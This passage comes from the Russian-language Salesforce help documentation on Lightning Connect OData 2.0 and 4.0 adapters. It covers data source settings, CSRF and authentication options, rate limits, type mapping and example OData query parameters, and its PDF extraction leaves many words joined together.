запросы OData. Еслиданныйфлажокустановлен, тоответсодержитобщееколичество
строк результирующего набора.

Некоторые внешние системы не поддерживают системный параметр запроса
$inlinecount=allpages. При отображении ошибок или увеличении времени

Количества строк запроса

загрузки данных снимите флажок «Количества строк запроса» для внешнего
источника данных. В данном случае, однако, внешний источник данных и связанные
внешние объекты не будут поддерживать агрегатнуюфункцию SOQL COUNT(),
требующую общего количества строк.

Еслиданныйфлажокустановлен, тосистема Salesforceотправляет сжатые HTTP-запросы
во внешнюю систему. Убедитесь, что параметры внешней системы позволяют
приниматьсжатыеданные. Система Salesforce автоматическипринимает сжатыеответы.

Запросы на сжатие

Данное поле определяет необходимость запроса внешних объектов, связанных с
данным внешним источником данных, посредством глобальных поисков Salesforce.

Поиск может охватывать только поля текста, области текста и области подробного
текста внешних объектов. При отсутствии полей, доступных для поиска, поиски по
внешнему объекту не возвращают записи.

Добавить в поиски
Salesforce

Установите флажок в этом поле, чтобы внешние объекты, связанные с внешним
источником данных, отображались в загружаемом приложении Salesforce1 для iOS и
мобильном веб-приложении Salesforce1 на устройствах iOS.

Доступно только для адаптера OData 2.0 для Lightning Connect. Данное поле позволяет
вводить имя параметра строки запроса при внедрении поставщиком OData
настраиваемого параметра запроса для свободного текстового поиска.

Дополнительную информацию о настраиваемых параметрах запроса OData и другие
правила URI см. на веб-узле www.odata.org.

Настраиваемый параметр
запроса для поиска
Salesforce

Данное поле не применяется при отсутствии флажка «Добавить в поиски
Salesforce» или неверной настройке поставщика OData.

См. раздел «Рекомендации по использованию поиска для Lightning Connect: адаптер
OData 2.0».

Доступно только для адаптера OData 4,0 для Lightning Connect.Выберите этот параметр,
чтобы воспользоваться параметром системного запроса $search вместо $filter

Использовать поисковые
выражения со свободным
текстом
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впоисковыхзапросах, отправляемыхвовнешнююсистему. Убедитесь, чтопоставщик
OData настроен для поддержки параметра запроса системы $search.

Этополенеприменяется, еслипараметр Включать в поиск Salesforce неотмечен
флажком.

См. раздел «Рекомендации по использованию поиска для Lightning Connect: адаптер
OData 4,0».

Формат, используемый поставщиком OData для отображения ресурсов (например,
наборы данных).

Убедитесь, что поставщик OData настроен для поддержки выбранного формата.
Дополнительнуюинформациюоформатахпредставленияиоперацияхсм. навеб-узле
www.odata.org.

Формат

Выберите значение «Socrata», при условии, что URL-адрес указывает конечную точку
открытых данных Socrata. См. раздел «Рекомендации по использованию Socrata™ для
Lightning Connect: адаптер OData 2.0» на странице 5459.

Специальная совместимость

Если внешняя система требует защиты от подделок межсайтовых запросов (CSRF) в
запросах, чтобысоздавать, редактироватьилиудалять данные, выберите этотпараметр.

Защита CSRF

Есливыэтосделаете, вашаорганизацияполучитмаркер, предназначенныйдля защиты
от CSRF и файл cookie из внешней системы, и будет включать его в каждый запрос
создания, измененияиудаления.См. разделРекомендациипоиспользованиюзащиты
CSRF для Lightning Connect: адаптеры OData 2.0 и 4.0 на странице 5459.

Доступно, только если выбраны разрешения Разрешить создание, редактирование
и удаление.

Поле заголовка HTTP, содержащее маркер защиты CSRF. Внешняя система определяет
имя поля. Значение по умолчанию. Маркер X-CSRF-Token

Доступен, только если выбран параметр Защита CSRF.

Имя маркера защиты
CSRF

Выбранный сертификат используется организацией Salesforce при каждом
двухстороннем подключении SSL к внешней системе. Сертификат используется

Сертификат

цифровыми подписями, подтверждающими получение запросов от организации
Salesforce.

Данный параметр определяет необходимость использования одного или нескольких
наборов регистрационных данных для доступа к внешней системе. См. раздел «Тип
удостоверения для внешних источников данных» на странице 5411.

Выберите значение «Анонимно», при условии, что внешняя система не требует
проверки подлинности.

Тип удостоверения

4. Выберите нужный протокол проверки подлинности.

• При выборе значения «Проверка подлинности паролей» введите имя пользователя и пароль для доступа ко
внешней системе.
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Выберитепоставщика. См. разделОбщиесведенияовнешнихпоставщикахпроверки
подлинности на странице 1016.

Поставщик проверки
подлинности

Выберитеобластьполномочийдляотправкизапросанамаркердоступа.Допустимые
значения определяются поставщиком проверки подлинности. См. раздел
Использование параметра Scope на странице 1051.

Область

Прим.:

– Введенное значение заменяет значение поля «Стандартные области»,
заданное в указанном поставщике проверки подлинности.

– Необходимость определения областей может влиять на необходимость
отображения страницы согласия каждым процессом OAuth.

– Рекомендуем пользователям запрашивать маркер обновления или
автономный доступ. В противном случае при истечении срока действия
маркера доступ к внешней системе отменяется.

Чтобы выполнить проверку подлинности на внешней системе и получить маркер
OAuth, отметьте флажком этот пункт. Данный процесс проверки подлинности
называется процессом OAuth.

При нажатии кнопки «Сохранить» внешняя система отображает запрос на
выполнение входа. После успешного входа внешняя система предоставляет
пользователю маркер OAuth для доступа к данным из текущей организации.

Начать процесс проверки
подлинности при
сохранении

Повторите процесс OAuth для создания маркера (например, при истечении срока
действиямаркера) илиредактированияполя «Область» или «Поставщик проверки
подлинности».

5. Нажмите кнопку «Сохранить».

6. Нажмите кнопку «Проверить и синхронизировать» и подтвердите успешность подключения.

7. Принеобходимостивыберитетаблицыищелкните«Синхронизировать». Нижеперечисленыдействия, выполняемые
для каждой выбранной таблицы.

• Автоматическое создание внешнего объекта Salesforce.

• Автоматическое создание настраиваемого поля для каждого столбца таблицы, совместимого с типом поля
метаданных Salesforce.

Прим.: Прежде чем начать синхронизацию, просмотрите рекомендации, описанные в разделах ниже.

• Рекомендации по синхронизации для Lightning Connect: все адаптеры на странице 5416

• Рекомендации по синхронизации для Lightning Connect: адаптер OData 2.0 или 4.0 на странице 5419
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Принеобходимостисоздайтенужныевнешниеобъектыинастраиваемыеполявручную. Данныйалгоритмпозволяет
настраивать имена внешних объектов, определять столбцы таблицы для создания настраиваемых полей и задавать
именанастраиваемыхполей. Темнеменее, данныйспособзанимаетбольшевремениидолженвыполнятьсявручную.

СМ. ТАКЖЕ:

Доступ к внешним данным посредством адаптера OData 2.0 или 4.0 для Lightning Connect

Хранение параметров проверки подлинности для внешних систем

Параметры строки запроса OData

Соотнесение типов OData

Именованные регистрационные данные

Рекомендации по использованию Lightning Connect: адаптеры OData 2.0 и 4.0

ВЕРСИИ

Доступно в версиях:
Salesforce Classic и
Lightning Experience

Доступно в версиях:
Developer Edition.

Доступно за
дополнительную плату в
версиях: Enterprise Edition,
Performance Edition и
Unlimited Edition.

Изучите особые алгоритмы, ограничения и рекомендации по использованию адаптера
OData 2.0 или 4.0 для Lightning Connect.

Также изучите рекомендации, применимые ко всем адаптерам Lightning Connect.

Рекомендациипоиспользованиюпоставщика OData для Lightning Connect — адаптеры
OData 2.0 и 4.0

Просмотрите ограничения и рекомендации по использованию службы удаленных
данных, предоставляющей внешние данные организации Salesforce.

Рекомендации по использованию ограничений по частоте запросов OData для
Lightning Connect: адаптер OData 2.0

Внешний объект ссылается на данные, хранящиеся вне системы Salesforce. Доступ к
внешнемуобъектуинициируетотправкузапросасвязаннойвнешнейсистеме. Система
Salesforce применяет ограничения по частоте данных запросов.

Рекомендации по использованию Socrata™ для Lightning Connect: адаптер OData 2.0

Обычнопротокол открытых данных Socrata™используется для получения данных о работоспособностии внедрения
взаимодействиямеждуорганамивластиинаселением. Lightning Connectможетполучатьдоступкданнымизконечных
точек, поддерживаемыхпорталомоткрытых данных Socrata. Воисполнение особых требований Socrata задайте полю
«Специальная совместимость» внешнего источника данных значение «Socrata».

Рекомендации по использованию защиты CSRF для Lightning Connect: адаптеры OData 2.0 и 4.0

Пониманиеособенностейиспользования, ограниченийирекомендацийзащитыотподделкизапросовмеждусайтами
(CSRF) для внешних источников данных OData.

СМ. ТАКЖЕ:

Рекомендации по использованию Lightning Connect: все адаптеры
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Рекомендации по использованию поставщика OData для Lightning Connect — адаптеры OData 2.0 и 4.0

ВЕРСИИ

Доступно в версиях:
Salesforce Classic и
Lightning Experience.

Доступно в версиях:
Developer Edition.

Доступно за
дополнительную плату в
версиях: Enterprise Edition,
Performance Edition и
Unlimited Edition.

Просмотрите ограничения и рекомендации по использованию службы удаленных
данных, предоставляющей внешние данные организации Salesforce.

• Чтобыпроверитьпоставщика OData, воспользуйтесьинструментомпроверкислужбы
Open Data Protocol, доступным на веб-узле services.odata.org/validation.
Данный алгоритм позволяет проверить внедрение относительно спецификации
OData и определить потенциальные проблемы.

• Чтобы повысить производительность подключений с низкой пропускной
способностью, разрешите поставщику OData принимать сжатые данные. Затем
установите флажок «Запросы на сжатие» в определении внешнего источника
данных в системе Salesforce. При необходимости разрешите поставщику OData
отправлять сжатые данные в систему Salesforce, которая автоматически принимает
сжатые ответы.

• По умолчанию система Salesforce отправляет каждый запрос OData с системным
параметром запроса $inlinecount=allpages. Вданном случае ответ содержит
общее количество строк результирующего набора.

Некоторые внешние системы не поддерживают системный параметр запроса $inlinecount=allpages. При
отображении ошибок или увеличении времени загрузки данных снимитефлажок «Количества строк запроса» для
внешнего источника данных.В данном случае, однако, внешний источник данных и связанные внешние объекты не
будут поддерживать агрегатнуюфункцию SOQL COUNT(), требующую общего количества строк.Дополнительную
информацию о правилах URI см. на веб-узле www.odata.org.

• Разрешите поставщику OData использовать достаточно большой размер страницы во избежание лишних полных
обходов. Опрос большогонабора данныхпосредствомнебольшого размера страницыможет занять слишкоммного
времениввиду возникновения сетевой задержки. Загрузка страниц Salesforce, отображающихвнешниеданные, может
занять слишком много времени.

Например, еслирезультатызапроса содержат 100 записей, а размер страницыпозволяетотображать только 5 записей,
то извлечение результатов запроса занимает 20 полных обходов. Если сетевая задержка составляет 100 мс на полный
обход, то результаты извлекаются за две секунды (20 х 100 мс).

Для сравнения, если размер страницы позволяет отображать 20 записей, то извлечение 100 записей занимает всего
5 полныхобходов. Прианалогичнойсетевойзадержке, равной 100 мснаполныйобход, результатыизвлекаютсявсего
за 0,5 секунды (5 х 100 мс).

• Список поддерживаемых типов OData см. в разделе «Соотнесение типов OData» справки Salesforce.

• Если внешний источник данных использует адаптер OData 4.0 и формат JSON, убедитесь, что поставщик OData
принимает заголовки, которыесодержатпараметрформата odata.metadata=full. Другие варианты, в томчисле
odata.metadata=minimal, не поддерживаются.

СМ. ТАКЖЕ:

Адаптер OData 2.0 или 4.0 для Lightning Connect

Параметры строки запроса OData

Соотнесение типов OData
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Рекомендациипоиспользованиюограниченийпочастоте запросов OData для Lightning Connect: адаптер OData
2.0

ВЕРСИИ

Доступно в версиях:
Salesforce Classic и
Lightning Experience.

Доступно в версиях:
Developer Edition.

Доступно за
дополнительную плату в
версиях: Enterprise Edition,
Performance Edition и
Unlimited Edition.

Внешний объект ссылается на данные, хранящиеся вне системы Salesforce. Доступ к
внешнему объекту инициирует отправку запроса связанной внешней системе. Система
Salesforce применяет ограничения по частоте данных запросов.

Ниже перечислены ограничения, доступные для организации.

• 10 000 запросов OData в час при использовании версии Enterprise Edition, Performance
Edition или Unlimited Edition. Более высокие ограничения доступны по запросу.

• 1 000 запросов OData в час при использовании версии Developer Edition.

Ниже перечислены условия, при выполнении которых система Salesforce отправляет
запрос OData во внешнюю систему.

• Пользователь выбирает вкладку внешнего объекта для спискового представления.

• Пользователь просматривает страницу сведений о записи внешнего объекта.

• Пользователь просматривает страницу сведений о записи родительского объекта,
содержащую связанный список дочерних записей внешнего объекта.

• Пользователь выполняет глобальный поиск по системе Salesforce или приложению Salesforce1.

• Внешний объект опрашивается посредством потоков, интерфейсов API, Apex, SOQL или SOSL.

• Пользователь создает, редактирует или удаляет запись внешнего объекта. (Это неприменимо к адаптеру Salesforce).

При возникновении ошибок, связанных с данными ограничениями, выполните перечисленные ниже действия.

• Установите флажок «Большой объем данных» в определении внешнего источника данных. Данное действие
позволяетпропускатьбольшинствоограничений. Темнеменее, внешниеобъекты, связанныесвнешнимиисточниками
данных большого объема, не поддерживаются приложением Salesforce1 и лентами записей.

• Сократите количество выполняемых запросов SOQL и SOSL.

• При наличии кода Apex, инициирующего внешнюю систему, измените данный код для кэширования часто
используемых, но редко изменяемых внешних данных.

• Отправьте запрос на увеличение текущего ограничения в компанию Salesforce.

СМ. ТАКЖЕ:

Адаптер OData 2.0 или 4.0 для Lightning Connect

Рекомендации по использованию Lightning Connect: адаптеры OData 2.0 и 4.0

Доступ к внешним данным посредством адаптера OData 2.0 или 4.0 для Lightning Connect
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Рекомендации по использованию Socrata™ для Lightning Connect: адаптер OData 2.0

ВЕРСИИ

Доступно в версиях:
Salesforce Classic и
Lightning Experience

Доступно в версиях:
Developer Edition.

Доступно за
дополнительную плату в
версиях: Enterprise Edition,
Performance Edition и
Unlimited Edition.

Обычно протокол открытых данных Socrata™ используется для получения данных о
работоспособностии внедрения взаимодействиямежду органами властиинаселением.
Lightning Connectможет получать доступ к даннымиз конечных точек, поддерживаемых
порталом открытых данных Socrata. Во исполнение особых требований Socrata задайте
полю «Специальная совместимость» внешнего источника данных значение «Socrata».

Socrata не поддерживает столбец идентификатора строки (_id) в условиях $select и
$orderby запросов OData. При выборе значения «Socrata» в поле «Специальная
совместимость»:

• Запросы OData не содержат столбец _id в условиях $select.

• При синхронизации столбца _id из конечной точки Socrata результирующее
настраиваемое поле внешнего объекта недоступно для сортировки.

• При определении вручную настраиваемого поля внешнего объекта со столбцом
_id как «Имя внешнего столбца» убедитесь, что данному настраиваемому полю
задан атрибут «Сортировка отключена».

При изменении поля «Специальная совместимость» внешнего источника данных рекомендуем выполнить повторную
синхронизацию его внешних объектов. При необходимости определите источник возникновения ошибок (запросы
или доступ пользователя к внешним объектам) и выполните повторную синхронизацию только проблемных внешних
объектов.

СМ. ТАКЖЕ:

Определение внешнего источника данных для Lightning Connect: адаптер OData 2.0 или 4.0

Рекомендации по использованию Lightning Connect: адаптеры OData 2.0 и 4.0

Рекомендации по использованию защиты CSRF для Lightning Connect: адаптеры OData 2.0 и 4.0

ВЕРСИИ

Доступно в версиях:
Salesforce Classic и
Lightning Experience.

Доступно в версиях:
Developer Edition.

Доступно за
дополнительную плату в
версиях: Enterprise Edition,
Performance Edition и
Unlimited Edition.

Понимание особенностей использования, ограничений и рекомендаций защиты от
подделки запросов между сайтами (CSRF) для внешних источников данных OData.

• Защита CSRF недоступна для внешних источников данных с высокой плотностью
данных.

• Убедитесь, что URL внешнего источника данных начинается с https://, поэтому
безопасныйпротокол HTTP можетпредотвратитьдоступкмаркеруилифайлу cookie,
обманывающему защиту CSRF.

• Кроме включения защиты CSRF для внешнего источника данных, рекомендуется в
постоянномрежимеприменять защиту CSRF внастройкахбезопасностисеанса вашей
организации. Эти параметры сеанса включены по умолчанию, и их использование
поумолчаниюзащищаетвашиданныеSalesforceивнешниеданныеотатак, связанных
с обходом защиты CSRF.

– Включить защиту CSRF для запросов GET на страницах, не связанных с
настройкой
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– Включить защиту CSRF для запросов POST на страницах, не связанных с настройкой

СМ. ТАКЖЕ:

Определение внешнего источника данных для Lightning Connect: адаптер OData 2.0 или 4.0

Изменение параметров безопасности сеанса

Справочник OData для Lightning Connect — адаптеры OData 2.0 и 4.0

ВЕРСИИ

Доступно в версиях:
Salesforce Classic и
Lightning Experience.

Доступно в версиях:
Developer Edition.

Доступно за
дополнительную плату в
версиях: Enterprise Edition,
Performance Edition и
Unlimited Edition.

Просмотрите сведения об использовании OData системой Salesforce для получения
доступа к внешним системам посредством Lightning Connect.

Соотнесение типов OData

Lightning Connect соотносит типы OData с типами полей метаданных Salesforce при
синхронизации метаданных и преобразовании значений между системой Salesforce
и внешними системами.

Параметры строки запроса OData

Адаптеры OData для Lightning Connect используют набор системныхфункций OData
2.0 и 4.0 и конструкции выражения filter для опроса внешних систем.

СМ. ТАКЖЕ:

Адаптер OData 2.0 или 4.0 для Lightning Connect

Соотнесение типов OData

ВЕРСИИ

Доступно в версиях:
Salesforce Classic и
Lightning Experience

Доступно в версиях:
Developer Edition.

Доступно за
дополнительную плату в
версиях: Enterprise Edition,
Performance Edition и
Unlimited Edition.

Lightning Connect соотносит типы OData с типами полей метаданных Salesforce при
синхронизации метаданных и преобразовании значений между системой Salesforce и
внешними системами.

OData 2.0 Type Mapping

Understand how the OData 2.0 adapter for Lightning Connect maps OData types to Salesforce
metadata field types.

Соотнесение типов OData 4.0

Ознакомьтесь с тем, как адаптер OData 4.0 для Lightning Connect сопоставляет типы
OData типам полей метаданных Salesforce.
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OData 2.0 Type Mapping

ВЕРСИИ

Доступно в версиях:
Salesforce Classic и
Lightning Experience

Доступно в версиях:
Developer Edition.

Доступно за
дополнительную плату в
версиях: Enterprise Edition,
Performance Edition и
Unlimited Edition.

Understand how the OData 2.0 adapter for Lightning Connect maps OData types to Salesforce
metadata field types.

Lightning Connect supports only the following types when syncing metadata and converting values
between Salesforce and an external system.

OData 2.0 Primitive Types

Тип поля метаданных SalesforceТип OData 2.0

Область текстаBinary

Кнопка-флажокЛогический

ЧислоByte

Дата и времяДата и время

Дата и времяDateTimeOffset

ЧислоDecimal

ЧислоДвойной

ТекстGuid

ЧислоInt16

ЧислоInt32

ЧислоInt64

ЧислоSByte

ЧислоSingle

Text when the declared length of the OData
string column is 255 or fewer characters

LongTextArea when the declared length of the
OData string column is greater than 255
characters

Строковый

ТекстTime

Совет: A binary value from an external system is represented in Salesforce as a base64-encoded string. You can convert it to a
value of type Blob  by using the EncodingUtil.base64Decode(inputString) Apex method.

OData 2.0 Complex Types

Lightning Connect supports OData complex types as follows.

• External data of complex type is flattened into a string that contains field names and values. For example, an address is flattened
into the following string.

Street: 55 East 5th Street, City: New York, State: NY, Zip: 10003
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• An external object custom field associated with an OData complex type on the external system is always read only, even if the
external object is writable.

СМ. ТАКЖЕ:

Рекомендации по синхронизации для Lightning Connect: все адаптеры

Справочник OData для Lightning Connect — адаптеры OData 2.0 и 4.0

Руководство разработчика Apex: класс EncodingUtil: base64Decode(inputString)

Соотнесение типов OData 4.0

ВЕРСИИ

Доступно в версиях:
Salesforce Classic и
Lightning Experience.

Доступно в версиях:
Developer Edition.

Доступно за
дополнительную плату в
версиях: Enterprise Edition,
Performance Edition и
Unlimited Edition.

Ознакомьтесь с тем, как адаптер OData 4.0 для Lightning Connect сопоставляет типы OData
типам полей метаданных Salesforce.

Lightning Connectподдерживаеттолькоследующиетипыприсинхронизацииметаданных
и преобразовании значений между Salesforce и внешней системой.

Простые типы OData 4.0

Тип поля метаданных SalesforceТип OData 4.0

Область текстаBinary

Кнопка-флажокЛогический

ЧислоByte

Дата и времяДата

Дата и времяДата и время

Дата и времяDateTimeOffset

ЧислоDecimal

ЧислоДвойной

ТекстGuid

ЧислоInt16

ЧислоInt32

ЧислоInt64

ЧислоSByte

ЧислоSingle

Текст (еслиобъявленнаядлинастрокового
столбца OData непревышает 255 символов)

Область подробного текста (если
объявленная длина строкового столбца
OData превышает 255 символов)

Строковый

ТекстВремя

5462

Интеграция внешних данныхРасширение Salesforce посредством интерактивных
инструментов

https://developer.salesforce.com/docs/atlas.en-us.apexcode.meta/apexcode/apex_classes_restful_encodingUtil.htm#apex_System_EncodingUtil_base64Decode


Совет: Двоичное значение из внешней системы отображается в системе Salesforce как строка в кодировке base64.
Данное значение может быть преобразовано в значение типа Blob посредством метода Apex
(EncodingUtil.base64Decode(inputString)).

Сложные типы OData 4.0

Lightning Connect поддерживает сложные типы OData следующим образом.

• Внешниеданныесложноготипасжимаютсявстроку, содержащуюименаполейизначения. Например, адрессжимается
в следующую строку.

Street: 55 East 5th Street, City: New York, State: NY, Zip: 10003

• Настраиваемое поле внешнего объекта, связанные со сложным типом OData во внешней системе всегда только для
чтения, даже если внешний объект имеет разрешение для записи.

СМ. ТАКЖЕ:

Рекомендации по синхронизации для Lightning Connect: все адаптеры

Справочник OData для Lightning Connect — адаптеры OData 2.0 и 4.0

Руководство разработчика Apex: класс EncodingUtil: base64Decode(inputString)

Параметры строки запроса OData

ВЕРСИИ

Доступно в версиях:
Salesforce Classic и
Lightning Experience.

Доступно в версиях:
Developer Edition.

Доступно за
дополнительную плату в
версиях: Enterprise Edition,
Performance Edition и
Unlimited Edition.

Адаптеры OData для Lightning Connect используют набор системных функций OData 2.0
и 4.0 и конструкции выражения filter для опроса внешних систем.

При взаимодействии пользователей или платформы Force.com с внешними объектами
адаптер OData 2.0 или 4.0 для Lightning Connect преобразует данные действия в запросы
OData. Нижеперечисленыусловия, привыполнениикоторыхсистемаSalesforceотправляет
запрос OData во внешнюю систему.

• Пользователь выбирает вкладку внешнего объекта для спискового представления.

• Пользователь просматривает страницу сведений о записи внешнего объекта.

• Пользователь просматривает страницу сведений о записи родительского объекта,
содержащую связанный список дочерних записей внешнего объекта.

• Пользователь выполняет глобальный поиск по системе Salesforce или приложению
Salesforce1.

• Внешний объект опрашивается посредством потоков, интерфейсов API, Apex, SOQL
или SOSL.

• Пользователь создает, редактирует или удаляет запись внешнего объекта. (Это неприменимо к адаптеру Salesforce).

Разделыниже содержатописание внедрения Lightning Connect как клиента служб OData. Система Salesforce создает запросы
OData автоматически, исключая необходимость участия администратора или разработчика. Тем не менее, понимание
процесса создания запросов OData (или выполнения ручных запросов OData) может помочь при устранении неполадок
в поставщике OData внешней системы. Дополнительную информацию о каждом системном параметре запроса см. на
веб-узле www.odata.org.

Lightning Connect поддерживает только следующие параметры системного опроса OData. Все остальные параметры,
входящие в спецификацию OData 2.0 и 4.0, не задействуются.

• $count  (только OData 4.0) на странице 5464

• $filter на странице 5464
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• $inlinecount  (только OData 2.0) на странице 5465

• $orderby на странице 5465

• $search  (только OData 4.0) на странице 5465

• $select на странице 5466

• $skip на странице 5466

• $top на странице 5466

• Настраиваемый параметр запроса OData 2.0 на странице 5467

$count  (только OData 4.0)

Данныйпараметр указывает нанеобходимостьотображения в отклике количества строк, определяемыхпосредством URI,
после применения системных параметров запроса $filter, но до применения системных параметров запроса $top
и $skip.

Привключенииконфигурации «Количества строк запроса» длявнешнегоисточникаданныхсистемаSalesforceвключает
параметр $count=true во всех запросах OData 4.0 внешнего источника данных для определения общего количества
элементов в каждом результирующем наборе. При отключении параметра Запрашивать количество строк Salesforce
включает $count=false во всех запросах OData 4.0 для внешнего источника данных.

Примеры

Просмотр или доступ к внешнему объекту.Действие
пользователя в
системе Salesforce

Любой запрос SOQL внешнего объекта.Запрос SOQL

http://services.example.org/my.svc/Suppliers?$select=SupplierID&
$count=true&$top=26

Результирующий
запрос OData

$filter

Данный параметр фильтрует коллекцию ресурсов, возвращенную URL-адресом запроса. Ответ содержит результаты,
которые оцениваются как true.

Примеры

Открытие спискового представления городов из записей поставщиков, отфильтрованного по
стране «США».

Действие
пользователя в
системе Salesforce

SELECT City__c FROM Suppliers__x WHERE Country__c = 'USA' ORDER BY
City__c ASC LIMIT 26

Запрос SOQL

http://services.example.org/my.svc/Suppliers?$orderby=City&
$select=City,SupplierID&$inlinecount=allpages&$filter=Country+eq+'USA'&
$top=26

Результирующий
запрос OData
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$inlinecount  (только OData 2.0)

Данныйпараметр указывает нанеобходимостьотображения в отклике количества строк, определяемыхпосредством URI,
после применения системных параметров запроса $filter, но до применения системных параметров запроса $top
и $skip.

При включении конфигурации «Количества строк запроса» для внешнего источника данных система Salesforce
использует параметр $inlinecount во всех запросах OData внешнего источника данных для определения общего
количества элементов в каждом результирующем наборе. При выключении конфигурации «Запрашивать количество
строк» параметр $inlinecount исключается из всех запросов OData 2.0 для внешнего источника данных.

Примеры

Просмотр или доступ к внешнему объекту.Действие
пользователя в
системе Salesforce

Любой запрос SOQL внешнего объекта.Запрос SOQL

http://services.example.org/my.svc/Suppliers?$select=SupplierID&
$inlinecount=allpages&$top=26

Результирующий
запрос OData

$orderby

Данный параметр сортирует набор результатов по возрастанию или убыванию.

Примеры

Открытиесписковогопредставлениязаписейпоставщиков, упорядоченныхпоназваниюкомпании.Действие
пользователя в
системе Salesforce

SELECT CompanyName__c,ContactName__c FROM Suppliers__x ORDER BY
CompanyName__c ASC LIMIT 26

Запрос SOQL

http://services.example.org/my.svc/Suppliers?$orderby=CompanyName&
$select=CompanyName,ContactName,SupplierID&$inlinecount=allpages&$top=26

Результирующий
запрос OData

$search  (только OData 4.0)

Сущности запросов, которые соответствуют строке поискового запроса в качестве свободного текстового выражения
поиска. Включите этот параметр, отметив флажком параметр Использовать свободные текстовые выражения поиска
на внешнем источнике данных.

Поумолчаниюпараметр Использовать свободные текстовые выражения поиска отключен. Строкапоискового запроса
используется как значение contains в системном параметре запроса $filter.

Примеры

Просмотр или доступ к внешнему объекту.Действие
пользователя в
системе Salesforce
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Примеры

Любой запрос SOQL внешнего объекта.Запрос SOQL

http://services.example.org/my.svc/Shippers?
$select=CompanyName,Phone,ShipperID&$count=true&$search=Acme&$top=26

Результирующий
запрос OData

$select

Данный параметр запрашивает ограниченный набор свойств для каждого объекта.

Примеры

Открытиесписковогопредставлениязаписейпоставщиков, гдемакетстраницыотображаетназвание
компании и имя контакта.

Действие
пользователя в
системе Salesforce

SELECT CompanyName__c,ContactName__c FROM Suppliers__x ORDER BY
CompanyName__c ASC LIMIT 26

Запрос SOQL

http://services.example.org/my.svc/Suppliers?$orderby=CompanyName&
$select=CompanyName,ContactName,SupplierID&$inlinecount=allpages&$top=26

Результирующий
запрос OData

$skip

Данныйпараметр указывает количество элементовв запрошеннойколлекции, котороедолжнобытьпропущеновнаборе
результатов.

Примеры

Просмотр второй страницы спискового представления записей поставщиков, упорядоченных по
названию города.

Действие
пользователя в
системе Salesforce

SELECT City__c,CompanyName__c FROM Suppliers__x ORDER BY City__c ASC
OFFSET 25

Запрос SOQL

http://services.example.org/my.svc/Suppliers?$orderby=City&
$select=City,CompanyName,SupplierID&$inlinecount=allpages&$top=26&
$skip=25

Результирующий
запрос OData

$top

Данный параметр указывает количество элементов в запрошенной коллекции, которое должно быть добавлено в набор
результатов. Значение в условии LIMIT запроса SOQLне всегда соответствует запрошенному значению $top, ввиду его
изменения для пагинации со стороны клиента и вызовов queryMore().
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Примеры

Открытие спискового представления, содержащего первые 25 записей поставщиков.Действие
пользователя в
системе Salesforce

SELECT SupplierID__c FROM Suppliers__x LIMIT 25Запрос SOQL

http://services.example.org/my.svc/Suppliers?$select=SupplierID&
$inlinecount=allpages&$top=26

Результирующий
запрос OData

Настраиваемыйпараметр запроса OData 2.0

Если поставщик OData поддерживает настраиваемый параметр строки запроса, введите имя параметра строки запроса в
поле «Настраиваемый параметр запроса для поиска Salesforce» определения внешнего источника данных. При
отсутствии настраиваемого параметра запроса строка поискового запроса используется как значение substringof в
системном параметре запроса $filter.

Примеры

http://services.example.org/my.svc/Shippers?
$select=CompanyName,Phone,ShipperID&$inlinecount=allpages&

Запрос OData без
настраиваемого
параметра запроса $filter=substringof('Acme',CompanyName)+eq+true+

or+substringof('Acme',Phone)+eq+true&$top=26

http://services.example.org/my.svc/Shippers?
$select=CompanyName,Phone,ShipperID&
$inlinecount=allpages&doSearch=Acme&$top=26

Запрос OData с
настраиваемым
параметром
запроса по имени
«doSearch»

СМ. ТАКЖЕ:

Рекомендации по использованию поставщика OData для Lightning Connect — адаптеры OData 2.0 и 4.0

Справочник OData для Lightning Connect — адаптеры OData 2.0 и 4.0

Пагинация под управлением клиента и сервера для Lightning Connect: адаптер OData 2.0
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Lightning Connect: настраиваемый—доступ к внешним данным посредством Apex

Пользовательский адаптер для Lightning Connect

ВЕРСИИ

Доступно в версиях:
Salesforce Classic и
Lightning Experience

Доступно в версиях:
Developer Edition.

Доступно за
дополнительную плату в
версиях: Enterprise Edition,
Performance Edition и
Unlimited Edition.

Подключение к любым данным позволяет получить полное представление о вашем
бизнесе.Используйте Инфраструктуру коннекторов Apex для разработки
пользовательского адаптера для Lightning Connect.

Пользователи и платформа Force.com взаимодействуют с внешними данными
посредством внешних объектов.Для каждого из этих взаимодействий Lightning Connect
вызывает методы в классах Apex, которые являются составными элементами
пользовательского адаптера. Salesforce вызывает код пользовательского адаптера Apex в
следующих случаях:

• Пользователь выбирает вкладку внешнего объекта для спискового представления.

• Пользователь просматривает страницу сведений о записи внешнего объекта.

• Пользователь просматривает страницу сведений о записи родительского объекта,
содержащую связанный список дочерних записей внешнего объекта.

• Пользователь выполняет глобальный поиск по системе Salesforce или приложению
Salesforce1.

• Внешний объект опрашивается посредством потоков, интерфейсов API, Apex, SOQL или SOSL.

• Пользователь создает, редактирует или удаляет запись внешнего объекта. (Это неприменимо к адаптеру Salesforce).

Подробные сведения об использованииИнфраструктуры коннекторов Apex см. в разделе «Lightning Connect» и
«Пространство имен DataSource» в Руководстве разработчика Apex на Force.com.

Внешние коды для внешних объектов в Lightning Connect: настраиваемый адаптер
При получении доступа к внешним данным посредством настраиваемого адаптера для Lightning Connect значения
стандартногополя «Внешнийкод»внешнегообъектаизвлекаютсяиз DataSource.Column поимени ExternalId.

СМ. ТАКЖЕ:

Lightning Connect

Доступ к внешним данным посредством пользовательского адаптера для Lightning Connect

Рекомендации по использованию Lightning Connect: пользовательский адаптер
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Внешние коды для внешних объектов в Lightning Connect: настраиваемый адаптер

ВЕРСИИ

Доступно в: Salesforce
Classic и Lightning
Experience

Доступно в версиях:
Developer Edition.

Доступно за
дополнительную плату в
версиях: Enterprise Edition,
Performance Edition и
Unlimited Edition.

При получении доступа к внешним данным посредством настраиваемого адаптера для
Lightning Connect значения стандартного поля «Внешний код» внешнего объекта
извлекаются из DataSource.Column по имени ExternalId.

Каждыйвнешнийобъект содержит стандартноеполе «Внешний код». Its values uniquely
identify each external object record in your org.Есливнешнийобъект являетсяродительским
во взаимосвязи внешнегопоиска, то стандартноеполе «Внешнийкод»используется для
определения дочерних записей.

Важное замечание:

• Код Apex настраиваемого адаптера должен объявлять DataSource.Column
по имени ExternalId и предоставлять его значения.

• Не вводите конфиденциальные данные в стандартное поле «Внешний код»,
поскольку система Salesforce может записывать значения этого поля.

– Поля взаимосвязи внешнего поиска в дочерних записях сохраняют и
отображают значения полей «Внешний код» родительских записей.

– Исключительно для внутреннегопользования система Salesforce сохраняет
значение поля «Внешний код» каждой строки, пол  ченной из внешней
